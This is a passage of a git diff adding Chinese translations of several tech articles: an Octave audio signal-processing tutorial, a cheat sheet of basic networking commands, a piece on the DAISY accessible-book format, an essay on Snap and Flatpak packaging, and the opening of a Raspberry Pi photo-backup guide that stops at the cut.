http://www.tecmint.com/dnf-next-generation-package-management-utility-for-linux/ +[7]: http://www.tecmint.com/dnf-commands-for-fedora-rpm-package-management/ +[8]: https://wiki.archlinux.org/index.php/Pacman +[9]: http://www.tecmint.com/zypper-commands-to-manage-suse-linux-package-management/ +[10]: https://wiki.gentoo.org/wiki/Project:Portage diff --git a/published/201609/20160620 Part II - How to make basic Mathematical Signal Processing in Audio files using Ubuntu with Octave 4.0.md b/published/201609/20160620 Part II - How to make basic Mathematical Signal Processing in Audio files using Ubuntu with Octave 4.0.md new file mode 100644 index 0000000000..c34c3d1347 --- /dev/null +++ b/published/201609/20160620 Part II - How to make basic Mathematical Signal Processing in Audio files using Ubuntu with Octave 4.0.md @@ -0,0 +1,239 @@ +科学音频处理(二):如何使用 Octave 对音频文件进行基本数学信号处理 +========= + +在[前一篇的指导教程][1]中,我们看到了读、写以及重放音频文件的简单步骤,我们甚至看到如何从一个周期函数比如余弦函数合成一个音频文件。在这篇指导教程中,我们将会看到如何对信号进行叠加和倍乘(调整),并应用一些基本的数学函数看看它们对原始信号的影响。 + +### 信号叠加 + +两个信号 S1(t)和 S2(t)相加形成一个新的信号 R(t),这个信号在任何瞬间的值等于构成它的两个信号在那个时刻的值之和。就像下面这样: + +``` +R(t) = S1(t) + S2(t) +``` + +我们将用 Octave 重新产生两个信号的和并通过图表看达到的效果。首先,我们生成两个不同频率的信号,看一看它们的叠加信号是什么样的。 + +#### 第一步:产生两个不同频率的信号(oog 文件) + +``` +>> sig1='cos440.ogg'; %creating the audio file @440 Hz +>> sig2='cos880.ogg'; %creating the audio file @880 Hz +>> fs=44100; %generating the parameters values (Period, sampling frequency and angular frequency) +>> t=0:1/fs:0.02; +>> w1=2*pi*440*t; +>> w2=2*pi*880*t; +>> audiowrite(sig1,cos(w1),fs); %writing the function cos(w) on the files created +>> audiowrite(sig2,cos(w2),fs); +``` + +然后我们绘制出两个信号的图像。 + +**信号 1 的图像(440 赫兹)** + +``` +>> [y1, fs] = audioread(sig1); +>> plot(y1) +``` + +[![信号 1 的图像](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/plotsignal1.png)](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/big/plotsignal1.png) + +**信号 2 的图像(880 赫兹)** + +``` +>> [y2, fs] = audioread(sig2); +>> plot(y2) +``` + +[![信号 2 的图像](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/plotsignal2.png)](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/big/plotsignal2.png) + +#### 第二步:把两个信号叠加 + +现在我们展示一下前面步骤中产生的两个信号的和。 + +``` +>> sumres=y1+y2; +>> plot(sumres) +``` + +叠加信号的图像 + +[![和信号的图像](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/plotsum.png)](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/big/plotsum.png) + +**Octaver 中的效果** + +在 Octaver 中,这个效果产生的声音是独特的,因为它可以仿真音乐家弹奏的低八度或者高八度音符(取决于内部程序设计),仿真音符和原始音符成对,也就是两个音符发出相同的声音。 + +#### 第三步:把两个真实的信号相加(比如两首音乐歌曲) + +为了实现这个目的,我们使用格列高利圣咏(Gregorian Chants)中的两首歌曲(声音采样)。 + +**圣母颂曲(Avemaria Track)** + +首先,我们看一下圣母颂曲并绘出它的图像: + +``` +>> [y1,fs]=audioread('avemaria_.ogg'); +>> plot(y1) +``` + +[![圣母歌曲](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/avemaria.png)](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/big/avemaria.png) + +**赞美诗曲(Hymnus Track)** + +现在我们看一下赞美诗曲并绘出它的图像。 + +``` +>> [y2,fs]=audioread('hymnus.ogg'); +>> plot(y2) +``` + +[![赞美诗曲](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/hymnus.png)](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/big/hymnus.png) + +**圣母颂曲 + 赞美诗曲** + +``` +>> y='avehymnus.ogg'; +>> audiowrite(y, y1+y2, fs); +>> [y, fs]=audioread('avehymnus.ogg'); +>> plot(y) +``` + +[![圣母歌曲 + 赞美诗曲](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/avehymnus.png)](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/big/avehymnus.png) + +结果,从音频的角度来看,两个声音信号混合在了一起。 + +### 两个信号的乘积 + +对于求两个信号的乘积,我们可以使用类似求和的方法。我们使用之前生成的相同文件。 + +``` +R(t) = S1(t) * S2(t) +``` + +``` +>> sig1='cos440.ogg'; %creating the audio file @440 Hz +>> sig2='cos880.ogg'; %creating the audio file @880 Hz +>> product='prod.ogg'; %creating the audio file for product +>> fs=44100; %generating the parameters values (Period, sampling frequency and angular frequency) +>> t=0:1/fs:0.02; +>> w1=2*pi*440*t; +>> w2=2*pi*880*t; +>> audiowrite(sig1, cos(w1), fs); %writing the function cos(w) on the files created +>> audiowrite(sig2, cos(w2), fs);>> [y1,fs]=audioread(sig1);>> [y2,fs]=audioread(sig2); +>> audiowrite(product, y1.*y2, fs); %performing the product +>> [yprod,fs]=audioread(product); +>> plot(yprod); %plotting the product +``` + + +注意:我们必须使用操作符 ‘.*’,因为在参数文件中,这个乘积是值与值相乘。更多信息,请参考 Octave 矩阵操作产品手册。 + +#### 乘积生成信号的图像 + +[![乘积信号的图像](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/plotprod.png)](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/big/plotprod.png) + +#### 两个基本频率相差很大的信号相乘后的图表效果(调制原理) + +**第一步:** + +生成两个频率为 220 赫兹的声音信号。 + +``` +>> fs=44100; +>> t=0:1/fs:0.03; +>> w=2*pi*220*t; +>> y1=cos(w); +>> plot(y1); +``` + +[![载波](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/carrier.png)](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/big/carrier.png) + +**第二步:** + +生成一个 22000 赫兹的高频调制信号。 + +``` +>> y2=cos(100*w); +>> plot(y2); +``` + +[![调制中](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/modulating.png)](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/big/modulating.png) + +**第三步:** + +把两个信号相乘并绘出图像。 + +``` +>> plot(y1.*y2); +``` + +[![调制后的信号](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/modulated.png)](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/big/modulated.png) + +### 一个信号和一个标量相乘 + +一个函数和一个标量相乘的效果等于更改它的值域,在某些情况下,更改的是相标志。给定一个标量 K ,一个函数 F(t) 和这个标量相乘定义为: + +``` +R(t) = K*F(t) +``` + +``` +>> [y,fs]=audioread('cos440.ogg'); %creating the work files +>> res1='coslow.ogg'; +>> res2='coshigh.ogg';>> res3='cosinverted.ogg'; +>> K1=0.2; %values of the scalars +>> K2=0.5;>> K3=-1; +>> audiowrite(res1, K1*y, fs); %product function-scalar +>> audiowrite(res2, K2*y, fs); +>> audiowrite(res3, K3*y, fs); +``` + +**原始信号的图像** + +``` +>> plot(y) +``` + +[![](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/originalsignal.png)](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/big/originalsignal.png) + +**信号振幅减为原始信号振幅的 0.2 倍后的图像** + +``` +>> plot(res1) +``` + +[![低余弦](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/coslow.png)](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/big/coslow.png) + +**信号振幅减为原始振幅的 0.5 倍后的图像** + +``` +>> plot(res2) +``` + +[![高余弦](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/coshigh.png)](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/big/coshigh.png) + +**倒相后的信号图像** + +``` +>> plot(res3) +``` + +[![倒相余弦](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/cosinverted.png)](https://www.howtoforge.com/images/octave-audio-signal-processing-ubuntu/big/cosinverted.png) + +### 结论 + +基本数学运算比如代数和、乘,以及函数与常量相乘是更多高级运算比如谱分析、振幅调制,角调制等的支柱和基础。在下一个教程中,我们来看一看如何进行这样的运算以及它们对声音文件产生的效果。 + +-------------------------------------------------------------------------------- + +via: https://www.howtoforge.com/tutorial/octave-audio-signal-processing-ubuntu/ + +作者:[David Duarte][a] +译者:[ucasFL](https://github.com/ucasFL) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.howtoforge.com/tutorial/octave-audio-signal-processing-ubuntu/ +[1]: https://linux.cn/article-7755-1.html + diff --git a/published/201609/20160621 Basic Linux Networking Commands You Should Know.md b/published/201609/20160621 Basic Linux Networking Commands You Should Know.md new file mode 100644 index 0000000000..5f6f3161e3 --- /dev/null +++ b/published/201609/20160621 Basic Linux Networking Commands You Should Know.md @@ -0,0 +1,135 @@ +你必须了解的基础的 Linux 网络命令 +================================================== + +![](https://itsfoss.com/wp-content/uploads/2016/06/Basic-Networking-Commands-Linux.jpg) + +> 摘要:有抱负的 Linux 系统管理员和 Linux 狂热者必须知道的、最重要的、而且基础的 Linux 网络命令合集。 + +在 It’s FOSS 我们并非每天都谈论 Linux 的“命令行方面”。基本上,我更专注于 Linux 的桌面端。但你们读者中的一些人在内部调查(仅面向 It's FOSS newsletter 订阅者)中指出,你们也想学些命令行技巧。速查表也受大部分读者所喜欢和支持。 + +为此,我编辑了一个 Linux 中基础网络命令的列表。它并不是一个教你如何使用这些命令的教程,而是一个命令合集和他们的简短解释。所以,如果你已经使用过这些命令,你可以用它来快速记住命令。 + +你可以把这个网页添加为书签以便快速查阅,或输出一个 PDF 版本以便离线使用。 + +当我还是通信系统工程专业的学生的时候我就有这个 Linux 网络命令的列表了。它帮助我在计算机网络课程获得了高分。希望它也能以同样的方式帮助你。 + +### Linux 基础网络命令列表 + +我在计算机网络课程上使用 FreeBSD,不过这些 UNIX 命令应该也能在 Linux 上同样工作。 + +#### 连通性 + +- `ping `:发送 ICMP echo 消息(一个包)到主机。这可能会不停地发送直到你按下 `Control-C`。Ping 的通意味着一个包从你的机器通过 ICMP 发送出去,并在 IP 层回显。Ping 告诉你另一个主机是否在运行。 +- `telnet [port]`:与主机在指定的端口通信。默认的 telnet 端口是 23。按 Control-] 以退出 telnet。其它一些常用的端口是: + - 7 —— echo 端口 + - 25 —— SMTP,用于发送邮件 + - 79 —— Finger (LCTT 译注:[维基百科 - Finger protocal](https://en.wikipedia.org/wiki/Finger_protocol),不过举例 Finger 恐怕不合时宜,倒不如试试 80?),提供该网络下其它用户的信息。 + +#### ARP + +ARP 用于将 IP 地址转换为以太网地址。root 用户可以添加和删除 ARP 记录。当 ARP 记录被污染或者错误时,删除它们会有用。root 显式添加的 ARP 记录是永久的 —— 代理设置的也是。ARP 表保存在内核中,动态地被操作。ARP 记录会被缓存,通常在 20 分钟后失效并被删除。 + +- `arp -a`:打印 ARP 表。 +- `arp -s [pub]`:添加一条记录到表中。 +- `arp -a -d`:删除 ARP 表中的所有记录。 + +#### 路由 + +- `netstat -r`:打印路由表。路由表保存在内核中,用于 IP 层把包路由到非本地网络。 +- `route add`:route 命令用于向路由表添加静态(手动指定而非动态)路由路径。所有从该 PC 到那个 IP/子网的流量都会经由指定的网关 IP。它也可以用来设置一个默认路由。例如,在 IP/子网处使用 0.0.0.0,就可以发送所有包到特定的网关。 +- `routed`:控制动态路由的 BSD 守护程序。开机时启动。它运行 RIP 路由协议。只有 root 用户可用。没有 root 权限你不能运行它。 +- `gated`:gated 是另一个使用 RIP 协议的路由守护进程。它同时支持 OSPF、EGP 和 RIP 协议。只有 root 用户可用。 +- `traceroute`:用于跟踪 IP 包的路由。它每次发送包时都把跳数加 1,从而使得从源地址到目的地之间的所有网关都会返回消息。 +- `netstat -rnf inet`:显示 IPv4 的路由表。 +- `sysctl net.inet.ip.forwarding=1`:启用包转发(把主机变为路由器)。 +- `route add|delete [-net|-host] `:(如 `route add 192.168.20.0/24 192.168.30.4`)添加一条路由。 +- `route flush`:删除所有路由。 +- `route add -net 0.0.0.0 192.168.10.2`:添加一条默认路由。 +- `routed -Pripv2 -Pno_rdisc -d [-s|-q]`:运行 routed 守护进程,使用 RIPv2 协议,不启用 ICMP 自动发现,在前台运行,供给模式或安静模式。 +- `route add 224.0.0.0/4 127.0.0.1`:为本地地址定义多播路由。(LCTT 译注:原文存疑) +- `rtquery -n `(LCTT 译注:增加了 host 参数):查询指定主机上的 RIP 守护进程(手动更新路由表)。 + +#### 其它 + +- `nslookup`:向 DNS 服务器查询,将 IP 转为名称,或反之。例如,`nslookup facebook.com` 会给出 facebook.com 的 IP。 +- `ftp [port]`(LCTT 译注:原文中 water 应是笔误):传输文件到指定主机。通常可以使用 登录名 "anonymous" , 密码 "guest" 来登录。 +- `rlogin -l `(LCTT 译注:添加了 host 参数):使用类似 telnet 的虚拟终端登录到主机。 + +#### 重要文件 + +- `/etc/hosts`:域名到 IP 地址的映射。 +- `/etc/networks`:网络名称到 IP 地址的映射。 +- `/etc/protocols`:协议名称到协议编号的映射。 +- `/etc/services`:TCP/UDP 服务名称到端口号的映射。 + +#### 工具和网络性能分析 + +- `ifconfig
[up]`:启动接口。 +- `ifconfig [down|delete]`:停止接口。 +- `ethereal &`:在后台打开 `ethereal` 而非前台。 +- `tcpdump -i -vvv`:抓取和分析包的工具。 +- `netstat -w [seconds] -I [interface]`:显示网络设置和统计信息。 +- `udpmt -p [port] -s [bytes] target_host`:发送 UDP 流量。 +- `udptarget -p [port]`:接收 UDP 流量。 +- `tcpmt -p [port] -s [bytes] target_host`:发送 TCP 流量。 +- `tcptarget -p [port]`:接收 TCP 流量。 + + +#### 交换机 + +- `ifconfig sl0 srcIP dstIP`:配置一个串行接口(在此前先执行 `slattach -l /dev/ttyd0`,此后执行 `sysctl net.inet.ip.forwarding=1`) +- `telnet 192.168.0.254`:从子网中的一台主机访问交换机。 +- `sh ru` 或 `show running-configuration`:查看当前配置。 +- `configure terminal`:进入配置模式。 +- `exit`:退出当前模式。(LCTT 译注:原文存疑) + +#### VLAN + +- `vlan n`:创建一个 ID 为 n 的 VLAN。 +- `no vlan N`:删除 ID 为 n 的 VLAN。 +- `untagged Y`:添加端口 Y 到 VLAN n。 +- `ifconfig vlan0 create`:创建 vlan0 接口。 +- `ifconfig vlan0 vlan_ID vlandev em0`:把 em0 加入到 vlan0 接口(LCTT 译注:原文存疑),并设置标记为 ID。 +- `ifconfig vlan0 [up]`:启用虚拟接口。 +- `tagged Y`:为当前 VLAN 的端口 Y 添加标记帧支持。 + +#### UDP/TCP + +- `socklab udp`:使用 UDP 协议运行 `socklab`。 +- `sock`:创建一个 UDP 套接字,等效于输入 `sock udp` 和 `bind`。 +- `sendto `:发送数据包。 +- `recvfrom `:从套接字接收数据。 +- `socklab tcp`:使用 TCP 协议运行 `socklab`。 +- `passive`:创建一个被动模式的套接字,等效于 `socklab`,`sock tcp`,`bind`,`listen`。 +- `accept`:接受进来的连接(可以在发起进来的连接之前或之后执行)。 +- `connect `:等效于 `socklab`,`sock tcp`,`bind`,`connect`。 +- `close`:关闭连接。 +- `read `:从套接字中读取 n 字节。 +- `write`:(例如,`write ciao`、`write #10`)向套接字写入 "ciao" 或 10 个字节。 + +#### NAT/防火墙 + +- `rm /etc/resolv.conf`:禁止地址解析,保证你的过滤和防火墙规则正确工作。 +- `ipnat -f file_name`:将过滤规则写入文件。 +- `ipnat -l`:显示活动的规则列表。 +- `ipnat -C -F`:重新初始化规则表。 +- `map em0 192.168.1.0/24 -> 195.221.227.57/32 em0`:将 IP 地址映射到接口。 +- `map em0 192.168.1.0/24 -> 195.221.227.57/32 portmap tcp/udp 20000:50000`:带端口号的映射。 +- `ipf -f file_name`:将过滤规则写入文件。 +- `ipf -F -a`:重置规则表。 +- `ipfstat -I`:当与 -s 选项合用时列出活动的状态条目(LCTT 译注:原文存疑)。 + +希望这份基础的 Linux 网络命令合集对你有用。欢迎各种问题和建议。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/basic-linux-networking-commands + +作者:[Abhishek Prakash][a] +译者:[bianjp](https://github.com/bianjp) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[1]: https://drive.google.com/open?id=0By49_3Av9sT1cDdaZnh4cHB4aEk diff --git a/published/201609/20160624 DAISY A Linux-compatible text format for the visually impaired.md b/published/201609/20160624 DAISY A Linux-compatible text format for the visually impaired.md new file mode 100644 index 0000000000..bc2a73c65f --- /dev/null +++ b/published/201609/20160624 DAISY A Linux-compatible text format for the visually impaired.md @@ -0,0 +1,46 @@ +DAISY : 一种 Linux 上可用的服务于视力缺陷者的文本格式 +================================================================= + + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/education/osdc-lead_books.png?itok=K8wqfPT5) + +*图片: 由Kate Ter Haar提供图片。 opensource.com 后期修饰。 CC BY-SA 2.0 * + +如果你是盲人或像我一样有视力障碍,你可能经常需要各种软硬件才能做到视觉正常的人们视之为理所当然的事情。这其中之一就是阅读的印刷图书的专用格式:布莱叶盲文(Braille)(假设你知道怎样阅读它)或特殊的文本格式例如DAISY。 + +### DAISY 是什么? + +DAISY 是数字化无障碍信息系统(Digital Accessible Information System)的缩写。 它是一种开放的标准,专用于帮助盲人阅读课本、杂志、报纸、小说,以及你想到的各种东西。 它由[ DAISY 联盟][1]创立于上世纪 90 年代中期,该联盟包括的组织们致力于制定出一套标准,可以让以这种方式标记的文本易于阅读、可以跳转、进行注释以及其它的文本操作,就像视觉正常的人能做的一样。 + +当前的 DAISY 3.0 版本发布于 2005 年中期,是一个完全重写了的标准。它创建的目的是更容易撰写遵守该规范的书籍。值得注意的是,DAISY 能够仅支持纯文本、或仅是录音(PCM wave 文件格式或者 MP3 格式)、或既有文本也有录音。特殊的软件能阅读这类书,并支持用户设置书签和目录导航,就像正常人阅读印刷书籍一样。 + +### DAISY 是怎样工作的呢? + +DAISY,除开特殊的版本,它工作时有点像这样:你拥有自己的主向导文件(在 DAISY 2.02 中是 ncc.html),它包含书籍的元数据,比如作者姓名、版权信息、书籍页数等等。而在 DAISY 3.0 中这个文件是一个有效的 XML 文件,以及一个被强烈建议包含在每一本书中的 DTD(文档类型定义)文件。 + +在导航控制文件中,标记精确描述了各个位置——无论是文本导航中当前光标位置还是录音中的毫秒级定位,这让该软件可以跳到确切的位置,就像视力健康的人翻到某个章节一样。值得注意的是这种导航控制文件仅包含书中主要的、最大的书籍组成部分的位置。 + +更小的内容组成部分由 SMIL(同步多媒体集成语言(synchronized multimedia integration language))文件处理。导航的层次很大程度上取决于书籍的标记的怎么样。这样设想一下,如果印刷书籍没有章节标题,你就需要花很多的时间来确定自己阅读的位置。如果一本 DAISY 格式的书籍被标记的很差,你可能只能转到书本的开头或者目录。如果书籍被标记的太差了(或者完全没有标记),你的 DAISY 阅读软件很可能会直接忽略它。 + +### 为什么需要专门的软件? + +你可能会问,如果 DAISY 仅仅是 HTML、XML、录音文件,为什么还需要使用专门的软件进行阅读和操作。单纯从技术上而言,你并不需要。专业化的软件大多数情况下是为了方便。这就像在 Linux 操作系统中,一个简单的 Web 浏览器可以被用来打开并阅读书籍。如果你在一本 DAISY 3 的书中点击 XML 文件,软件通常做的就是读取那些你赋予访问权限的书籍的名称,并建立一个列表让你点击选择要打开的书。如果书籍被标记的很差,它不会显示在这份清单中。 + +创建 DAISY 则完全是另一件事了,通常需要专门的软件,或需要拥有足够的专业知识来修改一个通用的软件以达到这样的目的。 + +### 结语 + +幸运的是,DAISY 是一个已确立的标准。虽然它在阅读方面表现的很棒,但是需要特殊软件来生产它使得视力缺陷者孤立于正常人眼中的世界,在那里人们可以以各种格式去阅读他们电子化书籍。这就是 DAISY 联盟在 EPUB 格式取得了 DAISY 成功的原因,它的第 3 版支持一种叫做“媒体覆盖”的规范,基本上来说是在 EPUB 电子书中可选增加声频或视频。由于 EPUB 和 DAISY 共享了很多 XML 标记,一些能够阅读 DAISY 的软件能够看到 EPUB 电子书但不能阅读它们。这也就意味着只要网站为我们换到这种开放格式的书籍,我们将会有更多可选的软件来阅读我们的书籍。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/life/16/5/daisy-linux-compatible-text-format-visually-impaired + +作者:[Kendell Clark][a] +译者:[theArcticOcean](https://github.com/theArcticOcean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/kendell-clark +[1]: http://www.daisy.org diff --git "a/published/201609/20160625 Ubuntu\342\200\231s Snap, Red Hat\342\200\231s Flatpak And Is \342\200\230One Fits All\342\200\231 Linux Packages Useful.md" "b/published/201609/20160625 Ubuntu\342\200\231s Snap, Red Hat\342\200\231s Flatpak And Is \342\200\230One Fits All\342\200\231 Linux Packages Useful.md" new file mode 100644 index 0000000000..67a78ae96f --- /dev/null +++ "b/published/201609/20160625 Ubuntu\342\200\231s Snap, Red Hat\342\200\231s Flatpak And Is \342\200\230One Fits All\342\200\231 Linux Packages Useful.md" @@ -0,0 +1,110 @@ +Ubuntu 的 Snap、Red Hat 的 Flatpak 这种通吃所有发行版的打包方式真的有用吗? +================================================================================= + +![](http://www.iwillfolo.com/wordpress/wp-content/uploads/2016/06/Flatpak-and-Snap-Packages.jpg) + +**对新一代的打包格式开始渗透到 Linux 生态系统中的深入观察** + +最近我们听到越来越多的有关于 Ubuntu 的 Snap 包和由 Red Hat 员工 Alexander Larsson 创造的 Flatpak (曾经叫做 xdg-app)的消息。 + +这两种下一代打包方法在本质上拥有相同的目标和特点:即不依赖于第三方系统功能库的独立包装。 + +这种 Linux 新技术方向似乎自然会让人脑海中浮现这样的问题:独立包的优点/缺点是什么?这是否让我们拥有更好的 Linux 系统?其背后的动机是什么? + +为了回答这些问题,让我们先深入了解一下 Snap 和 Flatpak。 + +### 动机 + +根据 [Flatpak][1] 和 [Snap][2] 的声明,背后的主要动机是使同一版本的应用程序能够运行在多个 Linux 发行版。 + +> “从一开始它的主要目标是允许相同的应用程序运行在各种 Linux 发行版和操作系统上。” —— Flatpak + +> “……‘snap’ 通用 Linux 包格式,使简单的二进制包能够完美的、安全的运行在任何 Linux 桌面、服务器、云和设备上。” —— Snap + +说得更具体一点,站在 Snap 和 Flatpak (以下称之为 S&F)背后的人认为,Linux 平台存在碎片化的问题。 + +这个问题导致了开发者们需要做许多不必要的工作来使他的软件能够运行在各种不同的发行版上,这影响了整个平台的前进。 + +所以,作为 Linux 发行版(Ubuntu 和 Red Hat)的领导者,他们希望消除这个障碍,推动平台发展。 + +但是,是否是更多的个人收益刺激了 S&F 的开发? + +#### 个人收益? + +虽然没有任何官方声明,但是试想一下,如果能够创造这种可能会被大多数发行版(即便不是全部)所采用的打包方式,那么这个项目的领导者将可能成为一个能够决定 Linux 大船航向的重要人物。 + +### 优势 + +这种独立包的好处多多,并且取决于不同的因素。 + +这些因素基本上可以归为两类: + +#### 用户角度 + +**+** 从 Liunx 用户的观点来看:Snap 和 Flatpak 带来了将任何软件包(软件或应用)安装在用户使用的任何发行版上的可能性。 + +例如你在使用一个不是很流行的发行版,由于开发工作的缺乏,它的软件仓库只有很稀少的包。现在,通过 S&F 你就可以显著的增加包的数量,这是一个多么美好的事情。 + +**+** 同样,对于使用流行的发行版的用户,即使该发行版的软件仓库上有很多的包,他也可以在不改变它现有的功能库的同时安装一个新的包。 + +比方说, 一个 Debian 的用户想要安装一个 “测试分支” 的包,但是他又不想将他的整个系统变成测试版(来让该包运行在更新的功能库上)。现在,他就可以简单的想安装哪个版本就安装哪个版本,而不需要考虑库的问题。 + +对于持后者观点的人,可能基本上都是使用源文件编译他们的包的人,然而,除非你使用类似 Gentoo 这样基于源代码的发行版,否则大多数用户将从头编译视为是一个恶心到吐的事情。 + +**+** 高级用户,或者称之为 “拥有安全意识的用户” 可能会觉得更容易接受这种类型的包,只要它们来自可靠来源,这种包倾向于提供另一层隔离,因为它们通常是与系统包想隔离的。 + +\* 不论是 Snap 还是 Flatpak 都在不断努力增强它们的安全性,通常他们都使用 “沙盒化” 来隔离,以防止它们可能携带病毒感染整个系统,就像微软 Windows 系统中的 .exe 程序一样。(关于微软和 S&F 后面还会谈到) + +#### 开发者角度 + +与普通用户相比,对于开发者来说,开发 S&F 包的优点可能更加清楚。这一点已经在上一节有所提示。 + +尽管如此,这些优点有: + +**+** S&F 通过统一开发的过程,将多发行版的开发变得简单了起来。对于需要将他的应用运行在多个发行版的开发者来说,这大大的减少了他们的工作量。 + +**++** 因此,开发者能够更容易的使他的应用运行在更多的发行版上。 + +**+** S&F 允许开发者私自发布他的包,不需要依靠发行版维护者在每一个/每一次发行版中发布他的包。 + +**++** 通过上述方法,开发者可以不依赖发行版而直接获取到用户安装和卸载其软件的统计数据。 + +**++** 同样是通过上述方法,开发者可以更好的直接与用户互动,而不需要通过中间媒介,比如发行版这种中间媒介。 + +### 缺点 + +**–** 膨胀。就是这么简单。Flatpak 和 Snap 并不是凭空变出来它的依赖关系。相反,它是通过将依赖关系预构建在其中来代替使用系统中的依赖关系。 + +就像谚语说的:“山不来就我,我就去就山”。 + +**–** 之前提到安全意识强的用户会喜欢 S&F 提供的额外的一层隔离,只要该应用来自一个受信任的来源。但是从另外一个角度看,对这方面了解较少的用户,可能会从一个不靠谱的地方弄来一个包含恶意软件的包从而导致危害。 + +上面提到的观点可以说是有很有意义的,虽说今天的流行方法,像 PPA、overlay 等也可能是来自不受信任的来源。 + +但是,S&F 包更加增加这个风险,因为恶意软件开发者只需要开发一个版本就可以感染各种发行版。相反,如果没有 S&F,恶意软件的开发者就需要创建不同的版本以适应不同的发行版。 + +### 原来微软一直是正确的吗? + +考虑到上面提到的,很显然,在大多数情况下,使用 S&F 包的优点超过缺点。 + +至少对于二进制发行版的用户,或者重点不是轻量级的发行版的用户来说是这样的。 + +这促使我问出这个问题,可能微软一直是正确的吗?如果是的,那么当 S&F 变成 Linux 的标准后,你还会一如既往的使用 Linux 或者类 Unix 系统吗? + +很显然,时间会是这个问题的最好答案。 + +不过,我认为,即使不完全正确,但是微软有些地方也是值得赞扬的,并且以我的观点来看,所有这些方式在 Linux 上都立马能用也确实是一个亮点。 + +-------------------------------------------------------------------------------- + +via: http://www.iwillfolo.com/ubuntus-snap-red-hats-flatpack-and-is-one-fits-all-linux-packages-useful/ + +作者:[Editorials][a] +译者:[Chao-zhi](https://github.com/Chao-zhi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.iwillfolo.com/category/editorials/ +[1]: http://flatpak.org/press/2016-06-21-flatpak-released.html +[2]: https://insights.ubuntu.com/2016/06/14/universal-snap-packages-launch-on-multiple-linux-distros diff --git a/published/201609/20160626 Backup Photos While Traveling With an Ipad Pro and a Raspberry Pi.md b/published/201609/20160626 Backup Photos While Traveling With an Ipad Pro and a Raspberry Pi.md new file mode 100755 index 0000000000..ca92e68eac --- /dev/null +++ b/published/201609/20160626 Backup Photos While Traveling With an Ipad Pro and a Raspberry Pi.md @@ -0,0 +1,404 @@ +旅行时通过树莓派和 iPad Pro 备份图片 +=================================================================== + +![](http://www.movingelectrons.net/images/bkup_photos_main.jpg) + +*旅行中备份图片 - 组件* + +### 介绍 + +我在很长的时间内一直在寻找一个旅行中备份图片的理想方法,把 SD 卡放进你的相机包会让你暴露在太多的风险之中:SD 卡可能丢失或者被盗,数据可能损坏或者在传输过程中失败。比较好的一个选择是复制到另外一个介质中,即使它也是个 SD 卡,并且将它放到一个比较安全的地方去,备份到远端也是一个可行的办法,但是如果去了一个没有网络的地方就不太可行了。 + +我理想的备份步骤需要下面的工具: + +1. 用一台 iPad pro 而不是一台笔记本。我喜欢轻装旅行,我的大部分旅程都是商务相关的(而不是拍摄休闲的),我痛恨带着个人笔记本的时候还得带着商务本。而我的 iPad 却一直带着,这就是我为什么选择它的原因。 +2. 用尽可能少的硬件设备。 +3. 设备之间的连接需要很安全。我需要在旅馆和机场使用这套设备,所以设备之间的连接需要是封闭而加密的。 +4. 整个过程应该是可靠稳定的,我还用过其他的路由器/组合设备,但是[效果不太理想][1]。 + +### 设备 + +我配置了一套满足上面条件并且在未来可以扩充的设备,它包含下面这些部件的使用: + +1. [9.7 英寸的 iPad Pro][2],这是本文写作时最强大、轻薄的 iOS 设备,苹果笔不是必需的,但是作为零件之一,当我在路上可以做一些编辑工作,所有的重活由树莓派做 ,其他设备只能通过 SSH 连接就行。 +2. 安装了 Raspbian 操作系统[树莓派 3][3](LCTT 译注:Raspbian 是基于 Debian 的树莓派操作系统)。 +3. 树莓派的 [Mini SD卡][4] 和 [盒子/外壳][5]。 +5. [128G 的优盘][6],对于我是够用了,你可以买个更大的。你也可以买个像[这样][7]的移动硬盘,但是树莓派没法通过 USB 给移动硬盘提供足够的电量,这意味你需要额外准备一个[供电的 USB hub][8] 以及电缆,这就破坏了我们让设备轻薄的初衷。 +6. [SD 读卡器][9] +7. [另外的 SD 卡][10],我会使用几个 SD 卡,在用满之前就会立即换一个,这样就会让我在一次旅途当中的照片散布在不同的 SD 卡上。 + +下图展示了这些设备之间如何相互连接。 + +![](http://www.movingelectrons.net/images/bkup_photos_diag.jpg) + +*旅行时照片的备份-流程图* + 